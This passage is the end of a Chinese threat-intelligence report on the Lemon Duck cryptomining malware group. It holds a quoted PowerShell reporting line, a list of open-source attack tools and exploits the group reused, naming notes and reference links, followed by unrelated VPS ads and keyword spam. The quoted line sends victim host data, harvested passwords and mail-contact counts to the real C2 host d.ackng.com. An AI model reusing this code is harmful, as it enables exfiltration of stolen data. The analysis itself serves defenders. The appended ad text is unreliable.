jsonV='+$VVERSION+'&'+$comp_name+'&'+$guid+'&'+$mac+'&r='+$retry+'&pc1='+$smb_portopen[1].
count+'&pc2='+$ms_portopen[1].
count+'&pc3='+$old_portopen[1].
count+'&pc4='+$rdp_portopen[1].
count+'&pci='+$ipaddrs_i.
count+'&pco='+$ipaddrs_o.
count+'&pcb='+$global:ipaddrs_b+'&pcs='+$pcs+'&mi='+($getpasswd-join"^^")+'&wf='+[Int]$wf+'&mf='+[Int]$mf)#ifmail.
bin##邮件发送后邮箱联系人相关信息(New-objectnet.
webclient).
downloadstring("http://d.
ackng.
com/report.
jsontype=mail&u=$muser&c1="+$contacts.
count+"&c2="+$sent_tos.
count+"&c3="+$recv_froms.
count)附录872.
开源项目的利用该组织利用了大量开源项目来构建攻击链,以下是相关开源项目及对应关系:开源项目地址描述https://github.
com/xmrig/xmrig-cuda/releasesxmrig挖矿程序https://github.
com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.
ps1将挖矿程序xmrig,反射式注入powershell.
exe中https://github.
com/rxwx/CVE-2017-8570OLE攻击文档代码生成的来源注意:scriptlet代码与先前引用的CVE-2017-8570的Github页面上显示的代码完全匹配.
字符串"fjzmpcjvqp"是唯一的,如果该代码不是使用相同的公共POC漏洞利用代码生成的,则不应该如此巧合https://github.
com/mardahl/MyScripts-用于if_mail.
jsp中在所登录用户上执行附录88iphase.
dk/blob/master/function_executeAsLoggedOnUser.
ps1https://github.
com/FreeRDP/FreeRDPwfree.
exe的来源https://github.
com/samratashok/nishang/blob/master/Gather/Get-PassHashes.
ps1哈希传递攻击模块来源https://github.
com/ollypwn/SMBGhostCVE-2020-0796SMBGhostPOC参照该Python项目修改为Powershell版本3.
为什么命名为"小黄鸭"附录89我们在分析中发现,C&C请求头唯一出现的Header配置User-Agent使用了比较有意思的前缀:Lemon-Duck$Lemon_Duck='MTXDaxu\qWPoOkQu';#历史版本出现过的变量赋值$Lemon_Duck='\';#近期攻击中的赋值$webclient.
Headers.
add("User-Agent","Lemon-Duck-"+$Lemon_Duck.
replace('\','-'))#User-Agent:Lemon-Duck--测试中发现,User-Agent中值的变化都对于返回的结果无影响,此变量应只是一种信息反馈的字段.
而创建的计划任务中追踪到几个比较有意思的固定命名,分别在以下不同时期中出现:有些报告里将其命名为"蓝茶行动"#mail.
jsp#report.
jsp#a.
sjp$stsrv.
GetFolder("\").
GetTask("bluetea")附录902020年5月,在后续中命名变更为"blackball".
#mail.
jsp#report.
jsp#a.
jsp$stsrv.
GetFolder("\").
GetTask("blackball")照这种规范,此组织也可以命名为"黑球",或者"黑丸",也确实有厂家在6月3日的报告中,将其命名为"黑球行动".
考虑到该组织的这种特性,我从中选取了Lemon-Duck这一命名来代表,中文译为"小黄鸭".
附录914.
参考链接https://cert.
360.
cn/warning/detailid=57cc079bc4686dd09981bf034130f1c9https://cert.
360.
cn/warning/detailid=57cc079bc4686dd09981bf034130f1c9https://mp.
weixin.
qq.
com/sbiz=MzI3NjYzMDM1Mg==&mid=2247485801&idx=1&sn=233c83c3dec9376b3d04d7ddd40903e6&scene=21#wechat_redirecthttps://ti.
qianxin.
com/blog/articles/an-attack-of-supply-chain-by-qudongrensheng/http://www.
360.
cn/n/10528.
htmlhttps://mp.
weixin.
qq.
com/s__biz=MzI2MDc2MDA4OA==&mid=2247486576&idx=1&sn=dc5ff6a05fac06608365823173d17daehttps://guanjia.
qq.
com/news/n3/2475.
htmlhttps://payloads.
online/archivers/2019-02-23/1https://www.
freebuf.
com/articles/system/195337.
htmlhttps://blog.
trendmicro.
com/trendlabs-security-intelligence/monero-miner-malware-uses-radmin-mimikatz-to-infect-propagate-via-vulnerability/https://s.
tencent.
com/research/report/657.
html附录92http://it.
rising.
com.
cn/dongtai/19521.
htmlhttps://s.
tencent.
com/research/report/674.
htmlhttps://symantec-enterprise-blogs.
security.
com/blogs/threat-intelligence/beapy-cryptojacking-worm-chinahttps://blog.
trendmicro.
com/trendlabs-security-intelligence/monero-mining-malware-pcastle-zeroes-back-in-on-china-now-uses-multilayered-fileless-arrival-techniques/https://s.
tencent.
com/research/report/768.
htmlhttp://it.
rising.
com.
cn/dongtai/19620.
htmlhttps://it.
rising.
com.
cn/dongtai/19629.
htmlhttp://it.
rising.
com.
cn/dongtai/19635.
htmlhttp://it.
rising.
com.
cn/dongtai/19659.
htmlhttps://news.
sophos.
com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/https://vulners.
com/threatpost/THREATPOST:FC124FCB1BDB55D5A63163F8F4720021https://www.
prnewswire.
com/news-releases/trapx-security-identifies-new-malware-campaign-targeting-iot-devices-embedded-with-windows-7-at-manufacturing-sites-300999051.
htmlhttps://trapx.
com/landing/iot-manufacturing-report/附录93https://www.
secpod.
com/blog/lemon-duck-malware/https://www.
v2ex.
com/t/648332https://www.
hostloc.
com/thread-663326-1-1.
htmlhttps://www.
freebuf.
com/articles/terminal/228521.
htmlhttps://s.
tencent.
com/research/report/950.
htmlhttps://s.
tencent.
com/research/report/957.
htmlhttps://mp.
weixin.
qq.
com/s/HWdvSzN8Sl4ol0nnWs8m2whttps://isc.
sans.
edu/diary/Weaponized+RTF+Document+Generator+%26+Mailer+in+PowerShell/26030https://s.
tencent.
com/research/report/967.
htmlhttps://mp.
weixin.
qq.
com/s/QEE95HTKzuT4-NykfvHfGQ附录94关于天际友盟北京天际友盟信息技术有限公司,成立于2015年,总部设在北京.
一直以来,天际友盟秉承"创造安全价值"的品牌理念,以安全能力出发,致力于为客户解决实际业务风险,让安全解决方案为客户带去真正的价值.
天际友盟在北京、石家庄两地设有研发中心,技术骨干均为国内安全行业的专家人才,有着超过10年的安全从业经验,对安全情报、数字资产风控、大数据分析等领域有着很深的了解和丰富的实践经验.
天际友盟目前已在上海、深圳、重庆、西安、沈阳、长春、哈尔滨、长沙、石家庄、太原等多地设有办事处,为全国各地的客户及合作伙伴提供贴身、高效、优质的服务.
目前,天际友盟旗下有两大类业务:安全情报应用和数字品牌保护.
4000-810-700service@tj-un.
com
pigyun怎么样?PIGYunData成立于2019年,2021是PIGYun为用户提供稳定服务的第三年,目前商家提供香港CN2线路、韩国cn2线路、美西CUVIP-9929、GIA等线路优质VPS,基于KVM虚拟架构,商家采用魔方云平台,所有的配置都可以弹性选择,目前商家推出了七月优惠,韩国和美国所有线路都有相应的促销,六折至八折,性价比不错。点击进入:PIGYun官方网站地址PIGYUN优惠...
昔日数据,国内商家,成立于2020年,主要销售湖北十堰和香港HKBN的云服务器,采用KVM虚拟化技术构架,不限制流量。当前夏季促销活动,全部首月5折促销,活动截止于8月11日。官方网站:https://www.xrapi.cn/5折优惠码:XR2021湖北十堰云服务器托管于湖北十堰市IDC数据中心,母鸡采用e5 2651v2,SSD MLC企业硬盘、 rdid5阵列为数据护航,100G高防,超出防...
提速啦的来历提速啦是 网站 本着“良心 便宜 稳定”的初衷 为小白用户避免被坑 由赣州王成璟网络科技有限公司旗下赣州提速啦网络科技有限公司运营 投资1000万人民币 在美国Cera 香港CTG 香港Cera 国内 杭州 宿迁 浙江 赣州 南昌 大连 辽宁 扬州 等地区建立数据中心 正规持有IDC ISP CDN 云牌照 公司。公司购买产品支持3天内退款 超过3天步退款政策。提速啦的市场定位提速啦主...
如何关闭445端口为你推荐
机动车diandiangetIntjava支持ipad支持ipadVTLHios重庆网通重庆联通宽带netbios端口如何组织netbios端口的外部通信iphone连不上wifi苹果手机无法连接wifi是什么原因谷歌sb为什么搜索SB第一个是google?firefoxflash插件火狐安装不了FLASH为什么?下载完后明明安装完成,火狐却仍然提示“缺少插件”
云服务器租用 泛域名解析 westhost 香港机房托管 512av 56折 godaddy域名优惠码 美国php空间 eq2 qq数据库 湖南服务器托管 灵动鬼影 有益网络 如何安装服务器系统 超级服务器 香港亚马逊 备案空间 群英网络 测速电信 域名和主机 更多